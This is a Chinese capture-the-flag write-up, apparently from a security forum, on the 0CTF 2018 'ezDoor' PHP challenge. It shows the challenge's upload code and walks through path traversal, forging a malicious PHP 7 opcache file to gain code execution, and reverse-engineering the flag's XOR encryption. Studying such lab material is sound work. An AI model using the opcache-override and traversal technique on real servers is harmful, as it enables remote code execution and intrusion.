

-
- <http://202.120.7.217:9527/>

入口代码审计

```
<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
if(!file_exists($dir . "index.php")){
    touch($dir . "index.php");
}

function clear($dir)
{
    if(!is_dir($dir)){
        unlink($dir);
        return;
    }
    foreach (scandir($dir) as $file) {
        if (in_array($file, [".", ".."])) {
            continue;
        }
        unlink($dir . $file);
    }
    rmdir($dir);
}

switch ($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'phpinfo':
        echo file_get_contents("phpinfo.txt");
        break;
    case 'reset':
        clear($dir);
        break;
    case 'time':
        echo time();
        break;
    case 'upload':
        if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
            break;
        }

        if ($_FILES['file']['size'] > 100000) {
            clear($dir);
            break;
        }

        $name = $dir . $_GET["name"];
        if (preg_match("/^[^a-zA-Z0-9.\\/]/", $name) ||
            strstr(pathinfo($name)["extension"], "h")) {
            break;
        }
        move_uploaded_file($_FILES['file']['tmp_name'], $name);
        $size = 0;
        foreach (scandir($dir) as $file) {
            if (in_array($file, [".", ".."])) {
```

```

        continue;
    }
    $size += filesize($dir . $file);
}
if ($size > 100000) {
    clear($dir);
}
break;
case 'shell':
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php";
    break;
default:
    highlight_file(__FILE__);
    break;
}

```

- upload参数上传的文件可以跳路径。
- 触发代码执行的点只有shell参数，意味着我们要控制index.php的内容。

思路

如何在index.php已经存在的情况下，覆盖该文件逻辑，并绕过php后缀过滤。

- <http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/>

这个思路出过比赛，这里使用action=phpinfo参数查看配置，果然开启了opcache，但和以往题目不同的是，环境对cache的timestamp做了验证validate_timestamp = 1。

幸运的是上面链接仍然给出了bypass timestamp的方法，即获取到文件创建时的timestamp，然后写到cache的bin里面。

此外，再获取到目标环境的system_id，即可构造出可用的恶意opcache。

获取timestamp

注意到开始的php代码中有两个参数：

- time：获取当前timestamp
- reset：删除当前目录下文件

二者结合即可精确拿到timestamp

```

import requests
print requests.get('http://202.120.7.217:9527/index.php?action=time').content
print requests.get('http://202.120.7.217:9527/index.php?action=reset').content
print requests.get('http://202.120.7.217:9527/index.php?action=time').content

```

运行后1和3的结果一致。

获取system_id

上文链接中给出的github项目给出了system_id的生成代码：

- <https://github.com/GoSecure/php7-opcache-override>

所需的数据均可从phpinfo提取，计算结果：

```

PHP version : 7.0.28
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
-----
System ID : 7badddeddbd076fe8352e80d8ddf3e73

```

构造恶意opcache

在phpinfo中寻找opcache相关配置，并按照pwd参数的路径，在本地启动一个同版本、同配置、同目录的php项目，然后将index.php内容写入需要执行的代码。

访问之，在/tmp/cache目录生成cache文件，然后将文件导入010editor，将system_id和timestamp两个字段修改为题目数据。

010 Editor - \\Mac\Home\Downloads\www\index.php.bin

File Edit Search View Format Scripts Templates Tools Window Help

base.shell index.php.bin x index.php.bin_ base_edit.shell

Edit As: Hex Run Script Run Template: OPCACHE_x86_64.bt

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0123456789ABCDEF
0000h:	4F	50	43	41	43	48	45	00	37	62	61	64	64	64	65	64	OPCACHE.7baddded
0010h:	64	62	64	30	37	36	66	65	38	33	35	32	65	38	30	64	dbd076fe8352e80d
0020h:	38	64	64	66	33	65	37	33	80	05	00	00	00	00	00	00	8ddf3e73e.....
0030h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
0040h:	C4	14	BF	5A	00	00	00	00	48	5E	08	21	63	7F	00	00	Ä.¿Z....H^!c...
0050h:	A8	01	00	00	00	00	00	00	02	00	00	00	00	00	00	08
0060h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
0070h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
0080h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
0090h:	FF	FF	FF	FF	0E	00	00	00	B0	03	00	00	00	00	00	00	ÿÿÿÿ.....°.....
00A0h:	00	00	00	00	02	00	00	00	00	00	00	00	00	00	00	00
00B0h:	01	00	00	00	00	00	00	00	70	05	00	00	00	00	00	00p.....
00C0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00D0h:	A8	01	00	00	00	00	00	00	01	00	00	00	07	00	00	00
00E0h:	00	00	00	00	00	00	00	00	FF	FF	FF	FF	07	00	00	00ÿÿÿÿ.....
00F0h:	40	02	00	00	00	00	00	00	18	00	00	00	00	00	00	00	@.....
0100h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
0110h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
0120h:	00	00	00	00	00	00	00	00	01	00	00	00	07	00	00	00
0130h:	12	00	00	00	FE	FF	FF	FF	00	00	00	00	00	00	00	00bÿÿÿ.....
0140h:	00	00	00	00	00	00	00	00	00	04	00	00	FF	FF	FF	FFÿÿÿÿ.....

Template Results - OPCACHE_x86_64.bt

Name	Value	Start	Size	Color	Comment
struct_meta meta		0h	50h	Fg: Bg:	
char magic[8]	OPCACHE	0h	8h	Fg: Bg:	
char system_id[32]	7badddeddbd076fe..	8h	20h	Fg: Bg:	
int64 mem_size	1408	28h	8h	Fg: Bg:	
int64 str_size	0	30h	8h	Fg: Bg:	
int64 script_offset	0	38h	8h	Fg: Bg:	
int64 timestamp	1522472132	40h	8h	Fg: Bg:	
int64 checksum	140063732686408	48h	8h	Fg: Bg:	
struct_script cached_script		50h	148h	Fg: Bg:	
struct_string filename	/var/www/html/san...	1F8h	60h	Fg: Bg:	
struct_op_array main_op_array		58h	D0h	Fg: Bg:	
struct HashTable function_table		128h	38h	Fg: Bg:	
struct HashTable class_table		160h	38h	Fg: Bg:	

先知社区

代码执行

然后通过upload参数，配合路径穿越，将index.php.bin上传到opcache所在位置(由于.bin是后缀，正好绕过了正则)：

```
../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/sandbox/209a9184b3302dc0ff24bc20b7b8844eab478cb6/index.php
```

然后请求shell参数，当index.php被加载时，实际加载的是我们上传的opcache，回显可以看到opcache中php代码执行结果。

文件修复

通过scandir发现路径，然后拿到这个bin文件。

```
@print_r(file_get_contents('flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad'));
```

看了下可见字符，该文件存在OPCACHE头，是/var/www/html/flag.php的opcache文件。但无法正常解析，与正确的文件对了下格式，补全一个00即可正常解析。

010 Editor - \\Mac\Home\Downloads\www\base_edit.shell

File Edit Search View Format Scripts Templates Tools Window Help

base.shell index.php.bin index.php.bin_ base_edit.shell x

Edit As: Hex Run Script Run Template: OPCACHE_x86_64.bt

0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF

0000h: 4F 50 43 41 43 48 45 00 37 62 61 64 64 64 65 64 OPCACHE.7baddded

0010h: 64 62 64 30 37 36 66 65 38 33 35 32 65 38 30 64 dbd076fe8352e80d

0020h: 38 64 64 66 33 65 37 33 D8 12 00 00 00 00 00 00 8ddf3e730.....

0030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
d.z.....'%.á~...

0040h: 64 8F BD 5A 00 00 00 00 B4 89 18 E1 98 7F 00 00
.....

0050h: A8 01 00 00 00 00 00 00 02 00 00 00 00 00 00 08
.....

0060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....

0070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....

0080h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....

0090h: FF FF FF FF 0B 00 00 00 50 11 00 00 00 00 00 00 yyy...P.....

00A0h: 01 00 00 00 02 00 00 00 B0 12 00 00 00 00 00 00
.....°.....

00B0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....

00C0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....

00D0h: A8 01 00 00 00 00 00 00 01 00 00 00 25 00 00 00
.....%....

00E0h: 00 00 00 00 00 00 00 00 FF FF FF FF 06 00 00 00
.....yyyy....

00F0h: C0 0F 00 00 00 00 00 00 08 00 00 00 00 00 00 00 Å.....

0100h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....

0110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....

0120h: 00 00 00 00 00 00 00 00 01 00 00 00 07 00 00 00
.....

0130h: 1A 00 00 00 F8 FF FF FF E0 03 00 00 00 00 00 00
.....øyyyyà.....

0140h: 02 00 00 00 02 00 00 00 00 08 00 00 FF FF FF FF
.....yyyy
à z

Template Results - OPCACHE_x86_64.bt

Name	Value	Start	Size	Color	Comment
struct_meta meta		0h	50h	Fg: Bg:	
char magic[8]	OPCACHE	0h	8h	Fg: Bg:	
char system_id[32]	7badddeddbd076fe...	8h	20h	Fg: Bg:	
int64 mem_size	4824	28h	8h	Fg: Bg:	
int64 str_size	0	30h	8h	Fg: Bg:	
int64 script_offset	0	38h	8h	Fg: Bg:	
int64 timestamp	1522372452	40h	8h	Fg: Bg:	
int64 checksum	140294588238260	48h	8h	Fg: Bg:	
struct_script cached_script		50h	148h	Fg: Bg:	
struct_string filename	/var/www/html/flag...	1F8h	2Eh	Fg: Bg:	
struct_op_array main_op_array		58h	D0h	Fg: Bg:	
struct HashTable function_table		128h	38h	Fg: Bg:	
struct HashTable class_table		160h	38h	Fg: Bg:	

粗粒度指令还原

使用前文链接github中给出的opcache分析工具，可以还原部分指令。

这个工具要安装旧版本依赖。

```

pip install construct==2.8.22
pip install treelib
pip install termcolor

python opcache_disassembler.py -c -a64 ../../flag.php.bin

```

结果如下（代码里包含了我加的缩进和猜测）：

```

function encrypt() {
    #0 !0 = RECV(None, None); //■■■■■■■
    #1 !0 = RECV(None, None);
        #2 DO_FCALL_BY_NAME(None, 'mt_srand');    mt_srand(1337)
        #3 SEND_VAL(1337, None);
        #4 (129)?(None, None);
    #5 ASSIGN(!0, '');
    #6 (121)?(!0, None);
}

```

```

#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
  #10 ASSIGN(None, 0); for($i
  #11 JMP(->-24, None); ■■■■
    #12 DO_FCALL_BY_NAME(None, 'chr');
      #13 DO_FCALL_BY_NAME(None, 'ord'); ord($a[$i])
      #14 FETCH_DIM_R(!0, None);
      #15 (117)?(None, None);
    #16 (129)?(None, None);

    #17 DO_FCALL_BY_NAME(None, 'ord'); ord($b[$i])
    #18 MOD(None, None);
      #19 FETCH_DIM_R(!0, None);
      #20 (117)?(None, None);
    #21 (129)?(None, None);

    #22 BW_XOR(None, None);

    #23 DO_FCALL_BY_NAME(None, 'mt_rand'); mt_rand(0,255)
    #24 SEND_VAL(0, None);
    #25 SEND_VAL(255, None);
    #26 (129)?(None, None);

    #27 BW_XOR(None, None);

    #28 SEND_VAL(None, None); chr■■■■
    #29 (129)?(None, None);
    #30 ASSIGN_CONCAT(!0, None);
  #31 PRE_INC(None, None); i++
  #32 IS_SMALLER(None, None); for ■■ i<?
  #33 JMPNZ(None, ->134217662); ■■■■
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);

}

function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
  #4 DO_FCALL_BY_NAME(None, 'dechex');
    #5 DO_FCALL_BY_NAME(None, 'ord');
      #6 FETCH_DIM_R(None, None);
      #7 (117)?(None, None);
    #8 (129)?(None, None);
    #9 (117)?(None, None);
  #10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);

```

```
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, --136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);
```

其实这段代码缺失了很多关键信息，在这里Ricter已经准确的猜出了逻辑并还原了php代码（膜！），而且写出了逆向加密的代码（XOR可逆，直接把密文输入enc函数）

```
<?php

function encrypt() {
    $t = "";
    $s = "\x85\xb9T\xfc\x83\x80\xa4f'nJH$\x9d\xddJ\x19\x9f\xc3N[\x06\x14d\xe4)\_xc5\x02\x0c\x88\xbf\xd8TU\x19\xab";
    $k = 'this_is_a_very_secret_keythis_is_a_very_secret_keythis_is_a_very_secret_keythis_is_a_very_secret_keythis_is_a_very_secret_key';
    mt_srand(1337);
    for ($i=0; $i<37; $i++) {
        $n = mt_rand(0, 255);
        $r = ord($s[$i]) ^ $n ^ ord($k[$i]);
        $t .= chr($r);
    }
    return $t;
}

echo encrypt();
```

执行后可得到flag。

但这个脚本我俩执行完都是乱码，于是怀疑还原的不对，毕竟opcache的粗粒度指令丢失了很多信息。

事实是主办方线上题目的PHP版本是7.0，但生成这个opcache的版本是7.2(主办方后续发hint澄清)，导致mt_rand函数在设置相同seed的情况下仍有不同结果，因此解密失败。

然而我们在这里继续尝试使用vld插件还原出完整的opcode，再精确还原出php代码。

精确指令还原

VLD插件与OPCODE不再赘述。

```
apt-get install php7.0-dev
wget http://pecl.php.net/get/vld-0.14.0.tgz
tar -xzvf vld-0.14.0.tgz
cd vld-0.14.0/
cat README.rst
which php-config
phpize
./configure --with-php-config=/usr/bin/php-config --enable-vld
make && make install

php --ini
vi /etc/php/7.0/cli/php.ini
service apache2 restart
php -dvld.active=1 -dvld.execute=0 phpinfo.php
```

现在需要在本地把opcache跑起来，然后通过vld插件拿到opcode。

本地环境安装vld之后，在php.ini开启opcache.enable_cli。

然后本地创建/var/www/html/flag.php，生成opcache，用010editor解除system_id和timestamp值，写入我们待解的opcache，然后将其放到/tmp/cache对应目录。

```
root@iZj6ccwgu73ligyn42bic9Z:/var/www/html# php -d vld.active=1 -d vld.execute=0 -dvld.save_dir=png -dvld.save_paths=1 -f /var/www/html/flag.php
```

Finding entry points

Branch analysis from position: 0

Jump found. (Code = 43) Position 1 = 7, Position 2 = 9

Branch analysis from position: 7

Jump found. (Code = 79) Position 1 = -2

Branch analysis from position: 9

Jump found. (Code = 79) Position 1 = -2

filename: /var/www/html/flag.php

```

function name: (null)
number of ops: 11
compiled vars: !0 = $flag
line   #* E I O op                                fetch          ext  return  operands
-----
27     0  E >  ASSIGN                                !0, 'input_your_flag_here'
29     1      INIT_FCALL                            'encrypt'
      2      SEND_VAL                                'this_is_a_very_secret_key'
      3      SEND_VAR                                !0
      4      DO_UCALL                                $2
      5      IS_IDENTICAL                            ~1          $2, '85b954fc8380a466276e4a48249ddd4a199fc34e5b06146
      6      > JMPZ                                  ~1, ~>9
30     7      >  ECHO                                'Congratulation%21+You+got+it%21'
35     8      >  EXIT
32     9      >  ECHO                                'Wrong+Answer'
35    10      >  EXIT

```

```

branch: # 0; line: 27- 29; sop: 0; eop: 6; out1: 7; out2: 9
branch: # 7; line: 30- 35; sop: 7; eop: 8; out1: -2
branch: # 9; line: 32- 35; sop: 9; eop: 10; out1: -2
path #1: 0, 7,
path #2: 0, 9,

```

Function encrypt:

Finding entry points

Branch analysis from position: 0

Jump found. (Code = 42) Position 1 = 32

Branch analysis from position: 32

Jump found. (Code = 44) Position 1 = 34, Position 2 = 12

Branch analysis from position: 34

Jump found. (Code = 62) Position 1 = -2

Branch analysis from position: 12

Jump found. (Code = 44) Position 1 = 34, Position 2 = 12

Branch analysis from position: 34

Branch analysis from position: 12

filename: /var/www/html/flag.php

function name: encrypt

number of ops: 38

compiled vars: !0 = \$pwd, !1 = \$data, !2 = \$cipher, !3 = \$pwd_length, !4 = \$data_length, !5 = \$i

```

line   #* E I O op                                fetch          ext  return  operands
-----
16     0  E >  RECV                                !0
      1      RECV                                !1
17     2      INIT_FCALL                            'mt_srand'
      3      SEND_VAL                                1337
      4      DO_ICALL
18     5      ASSIGN                                !2, ''
19     6      STRLEN                                ~6          !0
      7      ASSIGN                                !3, ~6
20     8      STRLEN                                ~6          !1
      9      ASSIGN                                !4, ~6
21    10      ASSIGN                                !5, 0
      11      > JMP                                  ~>32
22    12      >  INIT_FCALL                            'chr'
      13      INIT_FCALL                            'ord'
      14      FETCH_DIM_R                            $6          !1, !5
      15      SEND_VAR                                $6
      16      DO_ICALL                                $6
      17      INIT_FCALL                            'ord'
      18      MOD                                    ~8          !5, !3
      19      FETCH_DIM_R                            $7          !0, ~8
      20      SEND_VAR                                $7
      21      DO_ICALL                                $8
      22      BW_XOR                                  ~7          $6, $8
      23      INIT_FCALL                            'mt_rand'
      24      SEND_VAL                                0
      25      SEND_VAL                                255
      26      DO_ICALL                                $8

```

27		BW_XOR		~6	~7, \$8
28		SEND_VAL			~6
29		DO_ICALL		\$6	
30		ASSIGN_CONCAT	0		!2, \$6
21 31		PRE_INC			!5
32	>	IS_SMALLER		~6	!5, !4
33	>	JMPNZ			~6, ->12
24 34	>	INIT_FCALL			'encode'
35		SEND_VAR			!2
36		DO_UCALL		\$6	
37	>	RETURN			\$6

```

branch: # 0; line: 16- 21; sop: 0; eop: 11; out1: 32
branch: # 12; line: 22- 21; sop: 12; eop: 31; out1: 32
branch: # 32; line: 21- 21; sop: 32; eop: 33; out1: 34; out2: 12
branch: # 34; line: 24- 24; sop: 34; eop: 37; out1: -2
path #1: 0, 32, 34,
path #2: 0, 32, 12, 32, 34,
End of function encrypt

```

Function encode:

Finding entry points

Branch analysis from position: 0

Jump found. (Code = 42) Position 1 = 20

Branch analysis from position: 20

Jump found. (Code = 44) Position 1 = 23, Position 2 = 4

Branch analysis from position: 23

Jump found. (Code = 62) Position 1 = -2

Branch analysis from position: 4

Jump found. (Code = 43) Position 1 = 15, Position 2 = 18

Branch analysis from position: 15

Jump found. (Code = 42) Position 1 = 19

Branch analysis from position: 19

Jump found. (Code = 44) Position 1 = 23, Position 2 = 4

Branch analysis from position: 23

Branch analysis from position: 4

Branch analysis from position: 18

Jump found. (Code = 44) Position 1 = 23, Position 2 = 4

Branch analysis from position: 23

Branch analysis from position: 4

filename: /var/www/html/flag.php

function name: encode

number of ops: 24

compiled vars: !0 = \$string, !1 = \$hex, !2 = \$i, !3 = \$tmp

line	#	* E I O op	fetch	ext	return	operands

3	0	E > RECV			!0	
4	1	ASSIGN				!1, ''
5	2	ASSIGN				!2, 0
	3	> JMP				->20
6	4	> INIT_FCALL				'dechex'
	5	INIT_FCALL				'ord'
	6	FETCH_DIM_R		\$4		!0, !2
	7	SEND_VAR				\$4
	8	DO_ICALL		\$4		
	9	SEND_VAR				\$4
	10	DO_ICALL		\$4		
	11	ASSIGN				!3, \$4
7	12	STRLEN		~5		!3
	13	IS_EQUAL		~4		~5, 1
	14	> JMPZ				~4, ->18
8	15	> CONCAT		~4		'0', !3
	16	ASSIGN_CONCAT	0			!1, ~4
	17	> JMP				->19
10	18	> ASSIGN_CONCAT	0			!1, !3
5	19	> PRE_INC				!2
	20	> STRLEN		~5		!0
	21	IS_SMALLER		~4		!2, ~5
	22	> JMPNZ				~4, ->4


```
branch: # 0; line: 3- 5; sop: 0; eop: 3; out1: 20
branch: # 4; line: 6- 7; sop: 4; eop: 14; out1: 15; out2: 18
branch: # 15; line: 8- 8; sop: 15; eop: 17; out1: 19
branch: # 18; line: 10- 5; sop: 18; eop: 18; out1: 19
branch: # 19; line: 5- 5; sop: 19; eop: 19; out1: 20
branch: # 20; line: 5- 5; sop: 20; eop: 22; out1: 23; out2: 4
branch: # 23; line: 13- 13; sop: 23; eop: 23; out1: -2
path #1: 0, 20, 23,
path #2: 0, 20, 4, 15, 19, 20, 23,
path #3: 0, 20, 4, 18, 19, 20, 23,
End of function encode
```

还原出的php逻辑和之前猜的一样。

```
<?php

function encrypt($var_0, $var_1) {
    mt_srand(1337);
    $var_2 = '';
    $var_3 = strlen($var_0); // key_length
    $var_4 = strlen($var_1); // flag length

    for ($var_5=0; $var_5<$var_4; ++$var_5) {
        $var_2 .= chr(
            ord($var_1[$var_5]) ^ ord($var_0[$var_5 % $var_3]) ^ mt_rand(0, 255)
        );
    }
    return $var_2;
}

$s = "\x85\xb9T\xfc\x83\x80\xa4f'nJH$\x9d\xddJ\x19\x9f\xc3N[\x06\x14d\xe4)\xc5\x02\x0c\x88\xbf\xd8TU\x19\xab";
echo encrypt("this_is_a_very_secret_key", "$s");
```

• P.S. 用条件竞争出的兄弟真地秀！<OCTF2018之ezDoor的全盘非预期解法>

点击收藏 | 1 关注 | 2

[上一篇：Yet Another Redis...](#) [下一篇：「驭龙」Linux执行命令监控驱动...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)